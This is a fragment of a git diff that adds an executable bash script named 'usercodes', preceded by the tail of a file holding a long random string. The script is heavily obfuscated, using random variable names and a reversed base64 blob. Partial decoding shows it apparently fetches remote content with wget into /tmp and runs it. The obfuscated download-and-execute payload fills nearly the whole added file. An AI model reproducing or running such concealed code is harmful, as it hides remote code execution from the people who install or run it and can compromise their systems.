"$AOrYntxxGrhIDQzTYneTlRFbPBiLOqCuXOGmivMyRlnFnJQBqDapsINNNyUGeWIXrPqSipugHcVWwCbwVfJusgpfcNAaWGWSOPWZ$UUPbIzUyRAzDegEMWOmlYHsDMMRJaUQrUkQvNevfZbQCfbEwKofGhPRFYueNTdqPdTxSxJEKNClzagwnzQYYhgUiMxcKNbOgnKRO$lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp$lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf" \ No newline at end of file diff --git a/Lista/usercodes b/Lista/usercodes new file mode 100755 index 0000000..b366828 --- /dev/null +++ b/Lista/usercodes @@ -0,0 +1,2 @@ +#!/bin/bash +xqBbPxJftXsKUtMQdprubSGfAYwDxARYIVdzuMHEUJLdhCZRGbeDQQqtjWxULSyGExsFMSEXCQOHfqViXIDlmflBWEmukRixsTuQ="WKQJGuYxiddZJvWVZIAiBHmzWElrYnGYzaCNzfSsEwrAsaUjJIBuTHMPPfytYrNNqFERuDmvJopIeSTKhISvJwvGGYSbugLUcNFf";pqOPpDukpjATYuZypBmRgWAvFInrKezBFqmgWIXDjfxbmmvugTQrztmUhyFRdtoBUBdjBxHHHkyzzXYhTCLXfSxTmGOYClkPgTTJ="FollcPkPHKhDzUUMYyqKpbRjtcrpqfiUVyABrjovQMQIygfkTxMYmdtXPRQBWkVjeFzuZMgZrxXYLbtUPsgGYSzOlwQvpFxYFuQm";bHFvuHCqeeXSOXCSgDJtUunnaNqiWwpAwKslZKpuMdUjRZVRSvHdabYcuXsoEGmgUIowCTVdPNGVFSVLdNHpaXwLAkXmeyzmrmGp="ch";AlIusuJEkafTWuwIGuLzDLeOcEmnGhAEBGpubosRKLzDZhvWjRkIDBAMaOlZfSlAxgPyUKBEapcaNeFgbRmIhhoBPzvnKjNLUzmV="4";XrkcFtgExPSvINCuBOzLznShWrpYcHAXfPgJWoBBotFyberNwXtYCzfEYgvAwLtoLugGzpboxfMFphgjATPvcdigEhHrNSOkdwob="";AejDnLuxtNvFAIjbAdeqVFzXQBiZilQJLqiAMovAyTfWkLLSKdotjbcEqAZolChGKqysEtplpzTCnbsyiDzYPcndbtKnyKjrWIMJ="qZPnaJUtWbTYHSBtmVtImIVuTjxJJbwkMjphnVXJtZNqYLuzraUkJNyiYebuUWrsVKHtEIiDuyGtaWofLaQZcRhhYCBYQRYSJyek";dCkJEhHwHFyeLXcLdxUxOhexLkYBYskubfhZeVufErFGgBwcdIXuAZVFROmUwycgYPejWnsikaIIutYmSTVqPOlYZsxzSKvCpVDU=" =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